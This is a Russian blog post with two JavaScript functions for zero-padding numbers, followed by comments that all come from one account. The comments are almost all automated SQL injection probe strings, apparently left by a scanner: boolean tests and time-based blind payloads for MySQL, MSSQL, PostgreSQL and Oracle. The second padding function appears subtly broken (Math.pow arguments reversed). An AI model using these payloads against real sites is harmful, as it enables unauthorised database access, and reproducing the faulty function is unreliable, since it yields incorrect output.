Ведущий ноль для чисел в JavaScript
Недавно понадобилось повторить работу С-функции printf() с параметром "%02d" на JavaScript. Получилась такая функция:
- function zeroField (val, numSize)
- {
- var outZero = "";
- var zeroCount = numSize - String(val).length;
- for (var x=0; x < zeroCount; ++x) outZero += "0";
- return outZero+val;
- }
Конечно, можно поработать со степенями. Но скорость будет уже не та.
- function zeroField (val, numSize)
- {
- var tmp = String (val);
- for (var x=numSize; x; --x)
- {
- if ( val < Math.pow (x, 10) )
- {
- tmp = "0" + tmp;
- }
- }
- return tmp;
- }
Ну и напоследок, для тех, у кого есть возможность подключать в проекте сторонние библиотеки: реализация printf() на Javascript.
nEcdyGgx 13 Augustа в 18:08 #
555
nEcdyGgx 13 Augustа в 18:13 #
555
nEcdyGgx 13 Augustа в 18:13 #
555
nEcdyGgx 13 Augustа в 18:13 #
555
nEcdyGgx 13 Augustа в 18:13 #
555
nEcdyGgx 13 Augustа в 18:13 #
-1 OR 2+696-696-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:13 #
-1 OR 3+696-696-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:13 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:13 #
-1 OR 3*2>(0+5+696-696) --
nEcdyGgx 13 Augustа в 18:13 #
-1 OR 2+854-854-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:13 #
-1 OR 3+854-854-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:13 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:13 #
-1 OR 3*2>(0+5+854-854)
nEcdyGgx 13 Augustа в 18:13 #
-1' OR 2+940-940-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:13 #
-1' OR 3+940-940-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:13 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:13 #
-1' OR 3*2>(0+5+940-940) --
nEcdyGgx 13 Augustа в 18:13 #
-1' OR 2+674-674-1=0+0+0+1 or 'kB2aJeeO'='
nEcdyGgx 13 Augustа в 18:13 #
-1' OR 3+674-674-1=0+0+0+1 or 'kB2aJeeO'='
nEcdyGgx 13 Augustа в 18:13 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:13 #
-1' OR 3*2>(0+5+674-674) or 'kB2aJeeO'='
nEcdyGgx 13 Augustа в 18:13 #
-1" OR 2+808-808-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:13 #
-1" OR 3+808-808-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:13 #
-1" OR 3*2
nEcdyGgx 13 Augustа в 18:13 #
-1" OR 3*2>(0+5+808-808) --
nEcdyGgx 13 Augustа в 18:13 #
if(now()=sysdate(),sleep(15),0)
nEcdyGgx 13 Augustа в 18:13 #
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
nEcdyGgx 13 Augustа в 18:13 #
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
nEcdyGgx 13 Augustа в 18:13 #
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
nEcdyGgx 13 Augustа в 18:13 #
-1; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:13 #
-1); waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:13 #
1 waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:13 #
1IvWDF76'; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:13 #
-5 OR 15=(SELECT 15 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:13 #
-5) OR 889=(SELECT 889 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:13 #
-1)) OR 667=(SELECT 667 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:13 #
SbKeLZaN' OR 109=(SELECT 109 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:13 #
nCjm7gFH') OR 219=(SELECT 219 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:13 #
M8iSuXkZ')) OR 33=(SELECT 33 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:13 #
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
nEcdyGgx 13 Augustа в 18:13 #
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
nEcdyGgx 13 Augustа в 18:13 #
1'"
nEcdyGgx 13 Augustа в 18:13 #
@@JGOSP
nEcdyGgx 13 Augustа в 18:37 #
555
nEcdyGgx 13 Augustа в 18:41 #
555
nEcdyGgx 13 Augustа в 18:41 #
555
nEcdyGgx 13 Augustа в 18:41 #
555
nEcdyGgx 13 Augustа в 18:41 #
555
nEcdyGgx 13 Augustа в 18:41 #
-1 OR 2+175-175-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:41 #
-1 OR 3+175-175-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:41 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:41 #
-1 OR 3*2>(0+5+175-175) --
nEcdyGgx 13 Augustа в 18:41 #
-1 OR 2+130-130-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:41 #
-1 OR 3+130-130-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:41 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:41 #
-1 OR 3*2>(0+5+130-130)
nEcdyGgx 13 Augustа в 18:41 #
-1' OR 2+734-734-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:41 #
-1' OR 3+734-734-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:41 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:41 #
-1' OR 3*2>(0+5+734-734) --
nEcdyGgx 13 Augustа в 18:41 #
-1' OR 2+367-367-1=0+0+0+1 or '7Jx3GF9E'='
nEcdyGgx 13 Augustа в 18:41 #
-1' OR 3+367-367-1=0+0+0+1 or '7Jx3GF9E'='
nEcdyGgx 13 Augustа в 18:42 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:42 #
-1' OR 3*2>(0+5+367-367) or '7Jx3GF9E'='
nEcdyGgx 13 Augustа в 18:42 #
-1" OR 2+395-395-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:42 #
-1" OR 3+395-395-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:42 #
-1" OR 3*2
nEcdyGgx 13 Augustа в 18:42 #
-1" OR 3*2>(0+5+395-395) --
nEcdyGgx 13 Augustа в 18:42 #
if(now()=sysdate(),sleep(15),0)
nEcdyGgx 13 Augustа в 18:42 #
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
nEcdyGgx 13 Augustа в 18:42 #
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
nEcdyGgx 13 Augustа в 18:42 #
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
nEcdyGgx 13 Augustа в 18:42 #
-1; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:42 #
-1); waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:42 #
1 waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:42 #
N75mNvWq'; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:42 #
-5 OR 758=(SELECT 758 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:42 #
-5) OR 716=(SELECT 716 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:42 #
-1)) OR 64=(SELECT 64 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:42 #
VbNJ1jS2' OR 31=(SELECT 31 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:42 #
MYQbAwsH') OR 441=(SELECT 441 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:42 #
Y51iuHwG')) OR 335=(SELECT 335 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:42 #
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
nEcdyGgx 13 Augustа в 18:42 #
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
nEcdyGgx 13 Augustа в 18:42 #
1'"
nEcdyGgx 13 Augustа в 18:42 #
@@0KsBU
nEcdyGgx 13 Augustа в 18:54 #
555
nEcdyGgx 13 Augustа в 18:55 #
555